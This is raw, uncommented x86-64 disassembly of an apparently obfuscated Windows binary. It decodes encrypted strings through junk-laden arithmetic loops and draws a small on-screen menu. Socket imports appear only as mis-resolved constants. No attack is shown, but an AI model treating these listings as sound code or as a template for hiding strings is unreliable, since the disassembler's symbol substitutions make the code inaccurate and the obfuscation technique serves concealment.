and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
jmp 0x140077179
add r11b, 0x6c
movzx eax, r11b
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
dec r12
inc r12
movabs rsi, 0x1c4d1b42423050e6
jmp 0x140076953
sub r11b, 0x60
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x60
inc r8
dec r12
inc r12
movabs rsi, 0x1c4d1b42423050e6
jmp 0x140076953
sub r11b, 0x2c
movzx eax, r11b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x140077124
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x140076d96
sub r9b, 0x1a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4a
cmp rdx, 0x41
je 0x140077046
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x140076e7a
lea edx, [r11 - 0x32]
movzx eax, dl
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rcx, [r8 + 7]
cmp rbx, 9
jae 0x14007702b
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x140076f6c
sub r11b, 0x54
movzx eax, r11b
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
jmp 0x140076c1e
cmp rbx, rsi
jne 0x140076db8
sub r13b, 0x44
movzx eax, r13b
and al, r10b
add al, al
sub r13b, al
lea edi, [r10 + r13]
sub dil, 0x24
jmp 0x140077267
cmp rbx, rcx
jne 0x140076ddf
movzx edx, r9b
sub dl, 0x78
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140077217
cmp rbx, r15
jne 0x140076e01
add r11b, 0x54
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x4c
jmp 0x1400771e9
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140076e27
sub r11b, 0x14
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x74
jmp 0x1400771a0
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140076e4d
sub r11b, 0x48
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 8
jmp 0x14007717c
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140076d2d
add r11b, 0x1c
movzx eax, r11b
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x140077124
cmp rbx, rsi
jne 0x140076e9c
sub r11b, 0x66
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x36
jmp 0x140077124
cmp rbx, rcx
jne 0x140076ece
add r11b, 0x32
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x5e
dec r12
inc r12
movabs rsi, 0x1c4d1b42423050e6
jmp 0x140076953
cmp rbx, r15
jne 0x140076ef0
sub r11b, 2
movzx eax, r11b
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
jmp 0x140077179
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140076f19
sub r11b, 0x36
movzx eax, r11b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x1400771a0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140076f3f
sub r11b, 0x6a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x1a
jmp 0x1400771a3
lea rcx, [r8 + 7]
cmp rbx, rcx
jne 0x140076d62
add r11b, 0x62
movzx eax, r11b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x1400771e9
cmp rbx, rsi
jne 0x140076f8e
add r11b, 0x78
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x48
jmp 0x140077267
cmp rbx, r15
jne 0x140076fb0
add r11b, 0x74
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x2c
jmp 0x14007717c
cmp rbx, rcx
jne 0x140076fe5
add r14b, 0x40
movzx eax, r14b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r14b
add dil, r10b
dec r12
inc r12
movabs rsi, 0x1c4d1b42423050e6
jmp 0x140076953
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140076c21
lea edx, [r14 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140077124
mov byte [rbp + r12 + 0x450], dil
inc r12
movabs rsi, 0x1c4d1b42423050e6
jmp 0x140076953
lea ecx, [r14 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x140077179
add r11b, 0x3c
movzx eax, r11b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
jmp 0x1400771e9
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
jmp 0x1400771e9
sub r9b, 0x26
movzx eax, r9b
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400771a0
add r9b, 0xe
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x62
jmp 0x14007717c
add r9b, 0x42
movzx eax, r9b
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r12
inc r12
movabs rsi, 0x1c4d1b42423050e6
jmp 0x140076953
sub r9b, 0x56
movzx eax, r9b
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140077124
movzx r14d, r12b
lea ecx, [r14 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
sub r14b, 0x76
movzx eax, r10b
and al, r14b
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, r10b
add cl, r14b
mov byte [rbp + r12 + 0x450], cl
inc r8
dec r12
inc r12
movabs rsi, 0x1c4d1b42423050e6
jmp 0x140076953
movzx r14d, r12b
lea edx, [r14 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r14b, 0x56
movzx eax, r10b
and al, r14b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x5a
add cl, r10b
add cl, r14b
mov byte [rbp + r12 + 0x450], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r12, rcx
inc r12
movabs rsi, 0x1c4d1b42423050e6
jmp 0x140076953
movabs rcx, 0xc61bbecfcf52364a
add rcx, r12
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
sub dil, 6
add dil, cl
movzx r14d, r12b
add r14b, 0x22
movzx eax, r10b
and al, r14b
mov ecx, 9
sub cl, al
add cl, cl
add cl, r10b
add cl, r14b
movzx eax, cl
mov byte [rbp + r12 + 0x450], al
inc r8
add rax, r8
sub r12, rax
lea ecx, [r12 + 8]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x38
add r10b, cl
mov byte [rbp + r12 + 0x450], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r12, rax
jmp 0x140077267
movabs rcx, 0x54e751c6c690f2b2
add rcx, r12
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r12 + 0x450]
add rax, r8
add r12, rax
inc r12
movabs rsi, 0x1c4d1b42423050e6
jmp 0x140076953
add r14b, 0x7e
movzx eax, r10b
and al, r14b
add al, al
sub r10b, al
lea edi, [r14 + r10]
sub dil, 0x72
movabs rsi, 0x1c4d1b42423050e6
jmp 0x140076950
sub r14b, 0x4e
movzx eax, r10b
and al, r14b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r14b
jmp 0x140076934
lea rdi, [rbp + 0x1765ed8]
jmp 0x1400772e8
lea rdi, [rbp + 0xe6afbe]
jmp 0x1400772e8
lea rdi, [rbp + 0x450]
movaps xmm0, xmmword [0x140144460]
movups xmmword [rbp + 0xe0], xmm0
lea rcx, [rbp + 0xe0]
call fcn.14000bc40
mov ebx, eax
mov dword [rsp + 0x70], 0x41200000
movss xmm11, dword [0x14014457c]
mov dword [rsp + 0x74], 0x41c80000
call fcn.14000e620
mov qword [rsp + 0x40], 0
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
lea r9, [rsp + 0x70]
movaps xmm2, xmm6
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call fcn.140022450
mov ecx, 0x2d
call fcn.14004e110
test al, 1
je 0x140077379
cmp byte [reloc.WS2_32.dll_accept], 0
sete al
mov byte [reloc.WS2_32.dll_accept], al
jmp 0x140077380
movzx eax, byte [reloc.WS2_32.dll_accept]
test al, al
je 0x14008e04c
mov dword [rsp + 0x78], 0x42c80000
mov dword [rsp + 0x7c], 0x42c80000
xor edx, edx
lea rcx, [rsp + 0x78]
call fcn.14001a860
mov dword [rbp - 0x80], 0x442a0000
movss xmm6, dword [0x140148ea4]
mov dword [rbp - 0x7c], 0x43eb0000
xor edx, edx
lea rcx, [rbp - 0x80]
call fcn.14001a860
xor edx, edx
mov r8d, 0x9b
lea rcx, [0x140148d38]
call fcn.1400073b0
lea rcx, [rbp + 0x648]
call fcn.14000f1b0
call fcn.14000f180
mov rbx, rax
movaps xmm0, xmmword [0x1401488f0]
movups xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0xf0]
call fcn.14000bc40
movss xmm3, dword [rbp + 0x64c]
movaps xmm1, xmm3
addss xmm1, xmm6
movss xmm2, dword [rbp + 0x648]
movaps xmm0, xmm2
addss xmm0, dword [0x140148eac]
movss dword [rbp - 0x70], xmm0
movss dword [rbp - 0x6c], xmm1
addss xmm3, dword [0x140148e9c]
movss xmm8, dword [0x140148ea0]
addss xmm2, xmm8
movss dword [rbp - 0x68], xmm2
movss dword [rbp - 0x64], xmm3
mov dword [rsp + 0x28], 0x80
movss xmm7, dword [0x1401443ac]
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x68]
mov rcx, rbx
call fcn.140022030
movaps xmm0, xmmword [0x140144440]
movups xmmword [rbp + 0x100], xmm0
lea rcx, [rbp + 0x100]
call fcn.14000bc40
movss xmm1, dword [rbp + 0x64c]
addss xmm1, xmm6
movss xmm0, dword [rbp + 0x648]
addss xmm0, xmm8
movss dword [rbp - 0x60], xmm0
movss dword [rbp - 0x5c], xmm1
mov dword [rsp + 0x28], 0x50
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x648]
mov rcx, rbx
call fcn.140022030
movaps xmm0, xmmword [0x140144450]
movups xmmword [rbp + 0x110], xmm0
lea rcx, [rbp + 0x110]
call fcn.14000bc40
movss xmm3, dword [rbp + 0x64c]
movaps xmm1, xmm3
addss xmm1, xmm6
movss xmm2, dword [rbp + 0x648]
movaps xmm0, xmm2
addss xmm0, dword [0x140144584]
movss dword [rbp - 0x58], xmm0
movss dword [rbp - 0x54], xmm1
addss xmm3, xmm10
addss xmm2, xmm8
movss dword [rbp - 0x50], xmm2
movss dword [rbp - 0x4c], xmm3
movss xmm12, dword [0x14014439c]
movss dword [rsp + 0x20], xmm12
mov r9d, eax
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x50]
mov rcx, rbx
call fcn.140020ea0
movaps xmm0, xmmword [0x140144440]
movups xmmword [rbp + 0x120], xmm0
lea rcx, [rbp + 0x120]
call fcn.14000bc40
movss xmm3, dword [rbp + 0x64c]
movaps xmm1, xmm3
addss xmm1, dword [0x140148e98]
movss xmm2, dword [rbp + 0x648]
movaps xmm0, xmm2
addss xmm0, dword [0x140148eac]
movss dword [rbp - 0x48], xmm0
movss dword [rbp - 0x44], xmm1
addss xmm3, xmm10
addss xmm2, xmm8
movss dword [rbp - 0x40], xmm2
movss dword [rbp - 0x3c], xmm3
mov dword [rsp + 0x28], 0x20
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x40]
mov rcx, rbx
call fcn.140022030
movaps xmm0, xmmword [0x140144450]
movups xmmword [rbp + 0x130], xmm0
lea rcx, [rbp + 0x130]
call fcn.14000bc40
movss xmm2, dword [rbp + 0x64c]
addss xmm2, dword [0x140148e98]
movss xmm1, dword [rbp + 0x648]
movaps xmm0, xmm1
addss xmm0, dword [0x140148eac]
movss dword [rbp - 0x38], xmm0
movss dword [rbp - 0x34], xmm2
addss xmm1, xmm8
movss dword [rbp - 0x30], xmm1
movss dword [rbp - 0x2c], xmm2
movss dword [rsp + 0x20], xmm12
mov r9d, eax
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x30]
mov rcx, rbx
call fcn.140020ea0
mov dword [rbp + 0x640], 0x42480000
mov dword [rbp + 0x644], 0x42480000
mov dword [rbp - 0x20], 0x41700000
mov dword [rbp - 0x1c], 0x41c00000
lea rcx, [rbp - 0x20]
call fcn.14001a510
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
movaps xmm1, xmmword [0x140144460]
movups xmmword [rbp + 0x88], xmm1
mov dword [rbp - 0x18], 0x3f800000
mov dword [rbp - 0x14], 0x3f800000
mov dword [rbp - 0x10], 0
mov dword [rbp - 0xc], 0
lea rax, [rbp + 0x140]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x88]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x18]
lea r8, [rbp - 0x10]
lea rdx, [rbp + 0x640]
mov rcx, qword [0x1401dd2a8]
call fcn.14003de60
mov dword [rbp - 8], 0x41200000
mov dword [rbp - 4], 0x43110000
lea rcx, [rbp - 8]
call fcn.14001a510
call fcn.14000a280
cmp dword [0x1401dd1d4], 0
sete r8b
mov rdx, qword [0x1401dd2a0]
lea rcx, [0x140148d3c]
call fcn.140040f30
test al, al
je 0x140077723
xor eax, eax
mov dword [0x1401dd1d4], eax
jmp 0x140077729
mov eax, dword [0x1401dd1d4]
cmp eax, 1
sete r8b
mov rdx, qword [0x1401dd298]
lea rcx, [0x140148d40]
call fcn.140040f30
test al, al
je 0x140077754
mov eax, 1
mov dword [0x1401dd1d4], eax
jmp 0x14007775a
mov eax, dword [0x1401dd1d4]
cmp eax, 2
sete r8b
mov rdx, qword [0x1401dd2b0]
lea rcx, [0x140148d44]
call fcn.140040f30
test al, al
je 0x140077785
mov eax, 2
mov dword [0x1401dd1d4], eax
jmp 0x14007778b
mov eax, dword [0x1401dd1d4]
cmp eax, 3
sete r8b
mov rdx, qword [0x1401dd2b8]
lea rcx, [0x140148d48]
call fcn.140040f30
test al, al
je 0x1400777b3
mov dword [0x1401dd1d4], 3
call fcn.14000d1d0
lea rcx, [rbp]
call fcn.14000e570
movss xmm0, dword [rax]
movss xmm6, dword [0x140144374]
mulss xmm0, xmm6
subss xmm0, dword [0x140144588]
movss dword [rbp + 8], xmm0
mov dword [rbp + 0xc], 0x41700000
lea rcx, [rbp + 8]
call fcn.14001a510
mov rcx, qword [0x1401dd278]
call fcn.140016750
mov byte [rbp + 0x480], 0xd3
mov byte [rbp + 0x481], 0xe3
mov byte [rbp + 0x482], 0xf7
mov byte [rbp + 0x483], 0xf6
mov byte [rbp + 0x484], 0xf4
mov byte [rbp + 0x485], 0x89
mov byte [rbp + 0x486], 0xd6
mov byte [rbp + 0x487], 0xe9
mov byte [rbp + 0x488], 0xfd
mov byte [rbp + 0x489], 0xef
mov byte [rbp + 0x48a], 0xc3
mov byte [rbp + 0x48b], 0xef
mov byte [rbp + 0x48c], 0xfd
mov byte [rbp + 0x48d], 0x81
mov byte [rbp + 0x48e], 0xda
mov byte [rbp + 0x48f], 0xbf
mov byte [rbp + 0x490], 0xe2
mov byte [rbp + 0x491], 0xd0
mov byte [rbp + 0x492], 0xc3
mov byte [rbp + 0x493], 0xcf
mov byte [rbp + 0x494], 0xc4
mov byte [rbp + 0x495], 0x9f
mov byte [rbp + 0x496], 0xb6
mov byte [rbp + 0x497], 0x57
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x498], xmm0
mov byte [rbp + 0x4a8], al
movzx edi, byte [rsp + 0x50]
movabs rsi, 0xc7dd68f50c492c92
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r14d, r14d
cmp r14, 0x29
jae 0x1400782de
movzx r10d, byte [rbp + r14 + 0x480]
mov r13d, r10d
nop dword [rax]
cmp rbx, r14
ja 0x1400782d5
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007791c
lea rcx, [r14 + rsi]
mov rax, r13
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r13
add rdi, rcx
add dil, 2
jmp 0x140077949
je 0x140078240
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400781c1
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140078181
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007812c
movzx r11d, r14b
nop dword [rax]
movzx r9d, r11b
movzx r12d, r11b
movzx r15d, r11b
cmp r8, r14
ja 0x1400782cc
lea rsi, [r8 + 1]
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140077999
lea edx, [r11 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rcx, [r8 + 2]
lea rdx, [r8 + 3]
jmp 0x1400779e0
cmp rbx, rsi
je 0x140078112
lea rdx, [r8 + 3]
cmp rbx, rdx
je 0x1400780ce
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400780b1
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140078091
lea rcx, [r8 + 2]
cmp rbx, rcx
je 0x140078071
nop word [rax + rax]
lea rax, [rbx + r8]
cmp rax, r14
jbe 0x140077e04
nop dword [rax]
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140077de9
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140077db9
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140077d8c
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140077d6f
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140077d54
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140077d37
lea rcx, [r8 + 0x5a]
cmp rbx, rcx
je 0x140077d1a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400779f0
mov rbx, rcx
lea r8, [rcx + 2]
lea rax, [r8 + 5]
cmp rcx, rax
jb 0x1400782ac
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x140078282
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x140077b4b
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x140077b2c
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x140077c91
lea rax, [r8 + 0x1000]
cmp rcx, rax
jb 0x140077c4f
lea rax, [r8 + 0x41]
cmp rcx, rax
jb 0x1400779f0
lea rbx, [r8 + 1]
lea r8, [rbx + 4]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140077c2f
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140077c0f
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140077bf0
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140077bd0
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140077bb3
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140077b83
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140077b75
mov rbx, rax
lea r8, [rax + 0x7a]
jmp 0x1400779f0
lea edx, [r11 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140077950
sub r11b, 2
movzx eax, r11b
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
movabs rsi, 0xc7dd68f50c492c92
jmp 0x1400778f0
lea edx, [r9 - 0x30]
mov ecx, 0x28
jmp 0x140078139
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r14
inc r14
movabs rsi, 0xc7dd68f50c492c92
jmp 0x1400778d6
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140078198
add r9b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007819e
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400781e6
sub r9b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140078212
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140078261
lea edx, [r9 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x7a
jb 0x140078022
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x68]
jmp 0x14007814a
lea edx, [r9 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [rbx + r8]
cmp rax, 0x20
je 0x14007805b
lea rsi, [r8 + 5]
lea r11, [r8 + 1]
cmp rbx, rsi
jbe 0x140077ec4
lea edx, [r9 - 0x36]
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rcx, [r8 + 3]
cmp rbx, 4
jae 0x14007803c
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x140077f60
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x140077c69
sub r9b, 0x24
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 4
jmp 0x140078261
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x140078212
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x1400781e6
add r9b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
jmp 0x14007819b
add r9b, 4
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1c
dec r14
inc r14
movabs rsi, 0xc7dd68f50c492c92
jmp 0x1400778d6
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
inc r8
dec r14
inc r14
movabs rsi, 0xc7dd68f50c492c92
jmp 0x1400778d6
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x14007814a
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x140077e2a
sub r11b, 0x6e
movzx eax, r11b
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
jmp 0x140077ca8
cmp rbx, rsi
jne 0x140077e4f
sub r15b, 0xc
movzx eax, r15b
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r15b
add dil, r10b
jmp 0x140078261
cmp rbx, rcx
jne 0x140077e74
add r12b, 0x3c
movzx eax, r12b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r12b
add dil, r10b
jmp 0x1400781e6
cmp rbx, rdx
jne 0x140077ea9
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r14
inc r14
movabs rsi, 0xc7dd68f50c492c92
jmp 0x1400778d6
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140077cab
lea edx, [r9 + 0x14]
mov ecx, 0x3a
jmp 0x140078139
cmp rbx, r11
jne 0x140077ed7
lea edx, [r9 - 0x12]
mov ecx, 0x3f
jmp 0x140078139
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140077f10
add r9b, 0x12
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7e
inc r8
dec r14
inc r14
movabs rsi, 0xc7dd68f50c492c92
jmp 0x1400778d6
lea rcx, [r8 + 3]
cmp rbx, rcx
jne 0x140077f36
add r9b, 0x7e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x72
jmp 0x14007819b
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140077ce8
sub r9b, 0x5e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6e
jmp 0x14007819e
cmp rbx, r11
jne 0x140077f82
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
jmp 0x140078261
cmp rbx, rcx
jne 0x140077fa2
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x1400781e6
cmp rbx, rsi
jne 0x140077fc4
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
jmp 0x14007819b
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140077ffa
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
dec r14
inc r14
movabs rsi, 0xc7dd68f50c492c92
jmp 0x1400778d6
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140077c69
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x14007814a
mov byte [rbp + r14 + 0x480], dil
inc r14
movabs rsi, 0xc7dd68f50c492c92
jmp 0x1400778d6
lea edx, [r9 + 0x50]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x30
add dil, dl
jmp 0x1400780e6
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x2c]
jmp 0x1400781e6
add r11b, 0x3e
movzx eax, r11b
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x140078261
sub r11b, 0xa
movzx eax, r11b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x1400781e6
sub r11b, 0x52
movzx eax, r11b
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
jmp 0x140078198
sub r11b, 0x76
movzx eax, r11b
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
sub r9b, 0x1e
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x2e
add cl, r9b
add cl, r10b
mov byte [rbp + r14 + 0x480], cl
jmp 0x14007819b
add r11b, 0x1e
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
jmp 0x140078147
movzx r9d, r14b
lea edx, [r9 - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x42
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x32
add r9b, r10b
mov byte [rbp + r14 + 0x480], r9b
inc r8
dec r14
inc r14
movabs rsi, 0xc7dd68f50c492c92
jmp 0x1400778d6
lea edx, [r14 + 0x46]
